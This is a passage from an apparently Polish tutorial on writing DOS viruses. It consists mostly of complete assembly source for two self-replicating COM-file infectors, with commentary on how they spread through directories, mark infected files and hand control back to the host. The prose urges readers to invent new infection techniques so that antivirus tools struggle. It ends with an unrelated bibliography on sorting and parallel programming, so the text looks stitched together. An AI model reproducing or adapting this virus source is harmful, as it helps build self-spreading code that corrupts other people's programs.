jnc    zapisz_uchwyt
jmp    szukaj_nastepny
```

zapisz_uchwyt:

```
mov    bx, ax
mov    [bp][uchwyt], bx      ; Zapamiętaj uchwyt otwartego
                             ; pliku.
```

odczytaj_trzy_pierwsze_bajty:

```
mov    ah, 3Fh
push   cs
pop    ds
lea    dx, [bp][stare_bajty]
mov    cx, 0003h
int    21h
```

; Zapamiętujemy trzy stare bajty infekowanego programu.
; Bez tego nie byłoby możliwe uleczenie ofiary przed skokiem

; pod CS:0100h

policz_dlugosc:

```

    mov    ah, 42h                ; przesun wskaźnik pliku
    mov    bx, [bp][uchwyt]
    xor    cx, cx                ; o 0 bajtów
    xor    dx, dx
    mov    al, 02h                ; na koniec
    int    21h                    ; DX:AX - dlugosc pliku
    mov    [bp][dlugosc_ofiary], ax

    cmp    dx, 0000h              ; czy rozmiar pliku większy niż 64KB?
    je     zapisz_rozkaz_skoku_do_wirusa
    jmp    zamknij_plik           ; jeżeli tak to nie infekuj

```

; Jak napisałem wcześniej plik COM może mieć co najwyżej
; 64KB długości. Jeżeli ma więcej to znaczy, że nie jest
; to plik COM. Wtedy nie infekujemy pliku. Ten zabieg
; ochroni nas np. przed infekcją COMMAND.COM.
; Plik COMMAND.COM ma inną budowę i nie można infekować
; go przez skok. Taka próba zakończyłaby się zniszczeniem pliku
; i zawieszeniem systemu, a na tym nam nie zależy.

zapisz_rozkaz_skoku_do_wirusa:

```

    mov    ah, 42h                ; wskaźnik pliku na początek
    mov    al, 0
    mov    cx, 0
    mov    dx, 0
    mov    bx, [bp][uchwyt]
    int    21h

    mov    ax, [bp][dlugosc_ofiary]
    sub    ax, 0003h
    mov    skok_do_wirusa[1], al
    mov    skok_do_wirusa[2], ah

```

; Powyższe trzy linijki budują rozkaz skoku do wirusa, który
; zostanie zapisany na początku infekowanego programu.
; Od długości ofiary odjemujemy 3 bajty. Jest
; to związane z interpretacją adresu przez rozkaz 0E9, ponieważ
; rozkaz liczy offset od swego końca. Pisałem już o tym wcześniej.

; Zauważ również, że najpierw zapisujemy młodszy bajt skoku,
; a potem starszy. Jest to związane z odwrotną kolejnością
; przechowywania bajtów na dysku. Np. liczba 01FFh
; po zapisaniu do pliku powinna wyglądać: 0FFh 01h

; No cóż Assembler jest trochę pokopany :)
; Musisz trochę pobawić się HEXeditorem i Debuggerem
; żeby nabrać wprawy.

```
    mov     ah, 40h                ; zapisz do pliku
    mov     bx, [bp][uchwyt]
    mov     cx, 0003h              ; trzy bajty
    push   cs
    pop     ds
    lea    dx, [bp][skok_do_wirusa]
    int     21h
```

zapisz_wirusa_do_pliku:

```
    mov     ah, 42h                ; przesun wskaznik pliku na koniec
    mov     al, 02h
    mov     cx, 0000h
    mov     dx, 0000h
    mov     bx, [bp][uchwyt]
    int     21h
```

```
    mov     ah, 40h                ; zapisz wirusa na koncu pliku
    mov     cx, dlugosc_wirusa
    push   cs
    pop     ds
    mov     bx, [bp][uchwyt]
    mov     dx, offset virus_start
    add     dx, bp                  ; Teraz w DX znajduje się
    int     21h                    ; przesunięcie wirusa w segmencie.
```

oznacz_jako_zarazony:

```
    mov     ah, 57h                ; zmień datę ostatniej modyfikacji
    mov     al, 01h
    mov     bx, [bp][uchwyt]
    mov     dx, VZnacznik
    mov     cx, [bp][nowe_DTA.DTAczas]
    int     21h
```

zamknij_plik:

```
    mov     ah, 3Eh
    mov     bx, [bp][uchwyt]
    int     21h
```

szukaj_nastepny:

```
    mov     ah, 4Fh                ; funkcja - szukaj kolejny plik
    lea    dx, [bp][nowe_DTA.DTAnazwa]
```

```

int     21h
jc      nie_ma_pliku_COM    ; jeżeli błąd to nie ma już więcej plików
jmp     znaleziono_plik_typu_COM

```

```

nie_ma_pliku_COM:
ret

```

```

infekcja ENDP

```

```

sygn   db  13, 10
        db  'Virus name: Comvir', 0, 13, 10
        db  'Virus Author: PIOTR LADYZYNSKI', 0, 13, 10
        db  'Michalin   4 marca 2001r.', 0, 13, 10
        db  'POLAND', 0, 13, 10

```

```

virus_end:

```

```

MojProgram ENDS
END          start

```

6.6 Infekcja plików COM przez przesunięcie kodu programu

Sposób infekcji plików COM przez skok do wirusa jest najczęściej wykorzystywaną metodą infekcji. Oczywiście nie jedyną. W tym paragrafie przedstawię nieco bardziej oryginalny sposób infekcji plików COM. Może zachęci Cię to do samodzielnych poszukiwań nowych technik infekcji? Pamiętaj, że wykorzystanie każdej nieznanej do tej pory techniki powoduje, że wirus jest trudniejszy do wykrycia. Programiści antywirusów będą musieli się więcej napracować, aby napisać skuteczne antidotum.

Jak zwykle przed przystąpieniem do pracy zapoznajmy się z nowymi funkcjami. Zebrałem je w tabelce 6.7.

Funkcja:	4Ah przerwania 21h
Nazwa:	Zmiana długości zarezerwowanego bloku pamięci
Wywołanie:	ah = 4Ah BX — nowy rozmiar fragmentu pamięci w paragrafach ES — segment bloku, którego rozmiary zmieniamy
Powrót:	cf=1 — wystąpił błąd i AX zawiera kod błędu, a BX maksymalny możliwy do zarezerwowania rozmiar pamięci w paragrafach cf=0 — operacja się powiodła

Opis:	Funkcja zmienia rozmiar bloku pamięci przydzielonego przez system. paragraf = 16 bajtów
Funkcja:	48h przerwania 21h
Nazwa:	Rezerwacja pamięci
Wywołanie:	ah = 48h BX — ilość paragrafów pamięci jaka jest nam potrzebna
Powrót:	cf=1 — wystąpił błąd. -> AX — zawiera kod błędu -> BX — maksymalny możliwy do zarezerwowania rozmiar pamięci (w paragrafach) cf=0 - operacja się powiodła. -> AX — zawiera segment przydzielonego bloku pamięci
Opis:	Funkcja alokuje pamięć konwencjonalną i zwraca segment zarezerwowanego bloku.
Funkcja:	49h przerwania 21h
Nazwa:	Zwalnianie pamięci
Wywołanie:	ah = 49h ES — segment pamięci do zwolnienia
Powrót:	cf=1 — wystąpił błąd. -> AX - zawiera kod błędu cf=0 — operacja się powiodła.
Opis:	Funkcja zwalnia pamięć zarezerwowaną przez funkcję 48h

Tabela 6.7: Przydatne funkcje (3)

W naszym nowym wirusie będzie potrzebny nam blok pamięci o rozmiarze 64KB. Nie możemy oczywiście zadeklarować tak dużej tablicy w samym programie. Zajęłaby ona cały segment i nie byłoby już miejsca na kod wirusa. Poza tym taki wirus byłby znacznie za długi. Rozwiążemy ten problem inaczej. Wirus po uruchomieniu zarezerwuje sobie blok pamięci od systemu operacyjnego za pomocą funkcji 48h. Pamiętajmy jednak, że system operacyjny DOS po załadowaniu programu przydziela mu domyślnie całą dostępną pamięć, więc jeżeli spróbujemy zarezerwować jakiś blok to funkcja 48h zwróci błąd — brak pamięci. Musimy najpierw zmniejszyć pamięć dostępną dla programu. Dokonujemy tego za pomocą funkcji 4Ah. Do rejestru ES ładujemy wartość segmentu programu - CS, a do BX= 4096. Programowi COM starczy 4096 paragrafów = 64KB. Zmniejszymy przydzieloną mu pamięć do jednego segmentu. Teraz możemy już zarezerwować potrzebny nam blok pamięci korzystając z funkcji 48h.

6.6.1 Infekcja pliku

Przypomnijmy sobie wirusa OWSIK. Wirus ten dopisywał się właśnie na początku zarażanego pliku zamazując swoim kodem część atakowanego programu. Było to zjawisko nieporządane, ponieważ nieodwracalnie uszkadzaliśmy atakowany program. Teraz zastępujemy podobną metodę infekcji, tyle, że zamiast zapisać wirusa na programie przesuniemy kod programu o rozmiar

wirusa i w puste miejsce na początku pliku zapiszemy mikroba.

Zarażony plik COM
Kod wirusa
Kod programu przesunięty o długość wirusa

Oddanie sterowania do nosiciela

Zaletą takiej metody infekcji jest to, że nie będziemy musieli martwić się o przesunięcie względne w wirusie, ponieważ nasz wirus będzie się zawsze zaczynał od adresu CS:0100h. Pojawia się za to inny problem. Pamiętajmy, że program jest przesunięty, więc jeżeli po wykonaniu się wirusa wykonamy skok do programu to offsety w programie nie będą się zgadzały. Program będzie myślał, że znajduje się pod adresem CS:0100h, a faktycznie będzie znajdował się pod adresem CS:[0100h + długość wirusa]. Jakikolwiek odwołanie się do zmiennej w programie spowoduje jego zawieszenie. Co powinniśmy zrobić? Po wykonaniu się wirusa powinniśmy przekopiować program zza wirusa pod adres CS:0100h i dopiero wykonać tam skok. Jeżeli jednak zaczniemy kopiować program w to miejsce, to zamażemy wykonujący się właśnie kod wirusa i spowodujemy zawieszenie systemu. Co zatem należy zrobić? Pamiętajmy, że mamy zarezerwowany wcześniej blok pamięci. A jakby skopiować do tego bloku swój kod (wirusa), wykonać tam długi skok, skopiować program pod adres `stary_segment:0100h`, i wykonać skok pod ten adres? Tak to jest rozwiązanie. Opiszę je nieco dokładniej:

Oddawanie sterowania do zarażonego programu

	Stary segment programu	Segment przydzielony przez wirusa
1.	Kod wirusa Przesunięty kod programu	

2. Skopiuj kod wirusa do zarezerwowanego segmentu pod adres `nowy_segment:0100h` i wykonaj tam długi skok: `jmp nowy_segment:0100h`. Teraz wirus wykonuje się w zupełnie innym miejscu pamięci, więc nie musimy się bać, że zamażemy jego kod.

Stary segment programu	Segment przydzielony przez wirusa
Kod wirusa Przesunięty kod programu	Kod wirusa

3. Skopiuj program zza wirusa w starym segmencie na adres `stary_segment:0100h`. Spowoduje to zamazanie starej kopii wirusa w pamięci programem.

Stary segment programu	Segment przydzielony przez wirusa
Kod programu	Kod wirusa

4. Wykonaj daleki skok² pod adres `stary_segment:0100h`

Po wykonaniu powyższych czynności program ofiara wykona się prawidłowo.

²Skokiem dalekim nazywamy taki skok, który zmienia zarówno zawartość IP jak i zawartość CS

Techinka infekcji

Infekcji nowego pliku dokonujemy również przy pomocy zarezerwowanego bufora.

Infekcja pliku

1. Znajdź kolejny plik COM.
2. Wczytaj zawartość pliku do bufora.
3. Zapisz wirusa do pliku.
4. Zapisz do pliku program, za kodem wirusa.

6.6.2 Kod źródłowy wirusa Nijamormoazazel_01

Po obszernym wstępie teoretycznym możemy już przejść do analizy kodu źródłowego:

```

;-----
;                               NIJA1.ASM
;
; Nijamormoazazel1 - jest wirusem plików COM.
;                               Infekuje jednak pliki w nietypowy sposób.
;                               Dopisuje się na początku ofiary, przesuwając
;                               ją jej kod o swoją długość.
;
; Autor: Nijamormoazazel   20 lutego 2002r.  Michalin
;
; Kompilacja: TASM   (z opcją -m3)
; Linking:     TLINK (z opcją -t)
;-----

```

.286

```

; atrybuty pozycji w katalogu
atr_tylko_do_odczytu = 00000001b
atr_ukryty           = 00000010b
atr_systemowy       = 00000100b
atr_volumeID        = 00001000b
atr_katalog         = 00010000b
atr_archiwalny      = 00100000b
atrybut             = 00100111b

```

DTA struc

DTAfill

db 21 dup (0)

```

                DTAatrybut      db 0
                DTAczas         dw 0
                DTAdata        dw 0
                DTAdlugosc     dd 0
                DTAnazwa       db 13 dup (0)
DTA ends

Vrok           = 1999
Vmiesiac      = 12
Vdzien        = 13
Vznacznik     = (Vrok-1980)*512+Vmiesiac*32+Vdzien

dlugosc_wirusa = (offset virus_end)-(offset virus_start)

nija1  SEGMENT
        ASSUME  CS:nija1, DS:nothing, ES:nothing, SS:nothing

        org 0100h

virus_start:
        mov     ax, cs:[dlugosc_ofiary] ; Zapamiętaj długość ofiary
        push   ax                      ; na później.

        mov     ah, 4Ah                ; Zmniejsz pamięć przydzieloną programowi
        mov     bx, 4096              ; do 64KB.
        int     21h
        jnc     loc_01
        jmp     zakoncz                ; jeśli błąd to zakończ

loc_01:
        mov     ah, 48h                ; Zarezerwuj 64KB pamięci.
        mov     bx, 4096
        int     21h
        jnc     loc_02
        jmp     zakoncz

loc_02:
        mov     reserved_segment, ax   ; zapamiętaj nowy_segment
        push   cs
        pop     dx
        mov     cs:[old_segment], dx   ; zapamiętaj stary_segment

        call   nijamormoazazel1        ; skok do wirusa

```

```
powrot_do_ofiary:
    pop    ax                ; zdejmij długość ofiary
    mov    cs:[dlugosc_ofiary], ax

    push  cs
    pop   ds
    xor   si, si
    mov   di, reserved_segment
    mov   es, di
    xor   di, di
    mov   cx, dlugosc_wirusa
    add   cx, 0100h
    rep  movsb
; Przekopiuje kod wirusa do zarezerwowanego segmentu pod offset 0100h,

wykonaj_skok_do_kopii_wirusa:
    mov   dx, cs:[reserved_segment]
    mov   cs:[jmp_segment], dx
    mov   dx, offset przekopiuuj_ofiare
    mov   cs:[jmp_offset], dx
    jmp   dword ptr cs:[jmp_offset]
; skok długi

; teraz jesteśmy już w nowym segmencie
przekopiuj_ofiare:
    mov   dx, cs:[old_segment]
    mov   ds, dx
    mov   es, dx
    mov   di, 0100h
    mov   si, 0100h
    add   si, dlugosc_wirusa
    mov   cx, dlugosc_ofiary
    rep  movsb
; Przekopiuje nosiciela zła wirusa do stary_segment:0100h

skocz_do_ofiary:
    mov   ax, cs:[old_segment]
    mov   cs:[jmp_segment], ax
    mov   cs:[jmp_offset], 0100h
    jmp   dword ptr cs:[jmp_offset]
; skoczyliśmy do ofiary

zakoncz:
    mov   ah, 09h           ; ta etykieta się nie wykona
```

```

push  cs
pop    ds
lea   dx, [err1]
int   21h

mov   ax, 4C01h
int   21h

```

```

virus_data:
err1          db 'Not enough memeory', 13, 10, '$'
dlugosc_ofiary dw (offset program_end)-(offset program_start)
reserved_segment dw ?
old_segment   dw ?
jmp_offset    dw ?
jmp_segment   dw ?
nowe_DTA      DTA ?,?,?,?,?
maska_COM     db '*.com', 0
uchwyt        dw ?
bufor         db 66 dup('B')
w_gore        db '..', 0

```

```

virus_procs:

```

```

;-----
nijamormoazazel1:
push  cs
pop    ds

```

```

ustaw_nowe_DTA:
mov   ah, 1Ah
lea   dx, [nowe_DTA]
int   21h

```

```

pobierz_katalog:          ; znowu ten numer ze zmianą katalogu
mov   ah, 47h
xor   dl, dl
lea   si, [bufor+1]
int   21h

mov   [bufor], '\

```

```

nastepny_katalog:
call  infect_current_dir

mov   ah, 3Bh          ; zmień katalog do góry

```

```
        lea    dx, [w_gore]
        int    21h
        jc     przywroc_katalog
        jmp    nastepny_katalog

przywroc_katalog:
        mov    ah, 3Bh
        lea    dx, [bp][bufor]
        int    21h

przywroc_stare_DTA:
        mov    ah, 1Ah
        mov    dx, 0080h
        push   cs
        pop    ds
        int    21h

ret

;-----
infect_current_dir:
        push   cs
        pop    ds

        mov    ah, 4Eh           ; szukaj pierwszy plik
        mov    cx, atrybut
        lea    dx, [maska_COM]
        int    21h
        jnc   znaleziono_plik_typu_COM
        jmp    nie_ma_pliku_COM

znaleziono_plik_typu_COM:
        cmp    [nowe_DTA.DTAdata], Vznacznik
        jne    plik_jeszcze_nie_zarazony
        jmp    szukaj_nastepny

plik_jeszcze_nie_zarazony:
        mov    ah, 43h           ; zmień atrybut
        mov    al, 01h
        mov    cx, atr_archiwalny
        lea    dx, [nowe_DTA.DTAnazwa]
        int    21h

otworz_plik:
        mov    ah, 3Dh
```

```
mov    al, 02h
lea    dx, [nowe_DTA.DTAnazwa]
int    21h
jnc    zapisz_uchwyt
jmp    przywroc_atrybut
```

zapisz_uchwyt:

```
mov    bx, ax
mov    [uchwyt], bx
```

oblicz_dlugosc_ofiary:

```
mov    ah, 42h          ; przesun wskaźnik na koniec
mov    al, 02h
xor    cx, cx
xor    dx, dx
int    21h             ; DX:AX - zawiera teraz rozmiar pliku
mov    [dlugosc_ofiary], ax

cmp    dx, 0           ; czy rozmiar większy niż 64KB?
je     wskaznik_na_poczatek
jmp    zamknij_plik
```

wskaznik_na_poczatek:

```
mov    ah, 42h
mov    al, 00h
xor    cx, cx
xor    dx, dx
mov    bx, [uchwyt]
int    21h
```

odczytaj_zawartosc_pliku:

```
mov    ax, [reserved_segment]
mov    ds, ax
mov    dx, 0
mov    cx, [dlugosc_ofiary]
mov    ah, 3Fh         ; funkcja DOS - czytaj z pliku
int    21h
```

; Wczytujemy zawartość ofiary do zarezerwowanego bufora.

wskaznik_na_poczatek_jeszcze_raz:

```
mov    ah, 42h
mov    al, 00h
xor    cx, cx
xor    dx, dx
mov    bx, [uchwyt]
```

```
        int     21h

zapisz_wirusa_do_pliku:
    mov     ah, 40h
    mov     bx, [uchwyt]
    mov     cx, dlugosc_wirusa
    push   cs
    pop     ds
    mov     dx, 0100h
    int     21h
; Zapisujemy wirusa na początku zarażanego pliku.

zapisz_ofiare_do_pliku:
    mov     ah, 40h
    mov     bx, [uchwyt]
    mov     dx, [reserved_segment]
    mov     ds, dx
    xor     dx, dx
    mov     cx, [dlugosc_ofiary]
    int     21h
; A teraz za wirusem zapisujemy program z bufora.

oznacz_jako_zarazony:
    mov     ah, 57h
    mov     al, 01h
    mov     bx, [uchwyt]
    mov     dx, Vznacznik
    mov     cx, [nowe_DTA.DTAczas]
    int     21h

zamknij_plik:
    mov     ah, 3Eh
    mov     bx, [uchwyt]
    int     21h

przywroc_atrybut:
    mov     ah, 43h           ; zmień atrybut na oryginalny
    mov     al, 01h
    mov     cx, word ptr [nowe_DTA.DTAatrybut]
    lea    dx, [nowe_DTA.DTAnazwa]
    int     21h

szukaj_nastepny:
    mov     ah, 4Fh
    push   cs
```

```
    pop    ds
    int    21h
    jc     nie_ma_pliku_COM
    jmp    znaleziono_plik_typu_COM

nie_ma_pliku_COM:
    ret

sygn    db 13, 10
        db 'Virus name:  Nijamormoazazel1', 13, 10
        db 'Virus author: Nijamormoazazel ', 13, 10
        db '20 February 2002      Michalin', 13, 10
        db 'Made in POLAND', 13, 10
        db '$'

virus_end:

program_start:                ; Tu zaczyna się przesunięty
    nop                       ; kod programu.
    nop
    nop
    nop
    nop
    mov    ax, 4C00h
    int    21h

program_end:

nija1    ENDS
end      virus_start
```

Spis literatury

- [1] <http://www.securityfocus.com/columnists/228>
- [2] Kernighan B. W., Ritchie D. M.: *Język C*, WNT, Warszawa, 1987
- [3] Kernighan B. W., Ritchie D. M.: *Język ANSI C*, WNT, Warszawa, 1994
- [4] Stroustrup B.: *Język C++*, WNT, Warszawa, 1995
- [5] Knuth D. E.: *The Art of Computer Programming, Vol. 1, 2, 3*, Addison-Wesley, Reading, Massachusetts, 1981
- [6] Scherson I. D., Sen S., Shamir A.: *Shear Sort: A True Two-Dimensional Sorting Technique for VLSI Networks*, Proceedings of the 1986 International Conference on Parallel Processing, August 1986, pp. 903–908
- [7] Wróblewski P.: *Algorytmy, struktury danych i techniki programowania*, Helion, Gliwice, 1997
- [8] Musser D. R.: *Introspective Sorting and Selection Algorithms*, CS Department, Rensselaer Polytechnic Institute, Troy, NY 12180
- [9] Kilk M.: *Efficient comparator networks*, Ph.D. Thesis, Wrocław 2000
- [10] Roy S.: *Parallel Implementation and Performance Analysis for the Relational Join Operator*, M.S. Thesis of The University of Georgia, Athens, Georgia, 1994
- [11] Sikorski J.: *Wstęp do informatyki(11)*, Wyższa Szkoła Informatyki Stosowanej i Zarządzania (materiały dydaktyczne), Warszawa, 2003
- [12] Gill S.: *Parallel Programming*, The Computer Journal, vol. 1, April 1958, pp. 2–10
- [13] Hughes C., Hughes T.: *Parallel and Distributed Programming Using C++*, Addison-Wesley, 2003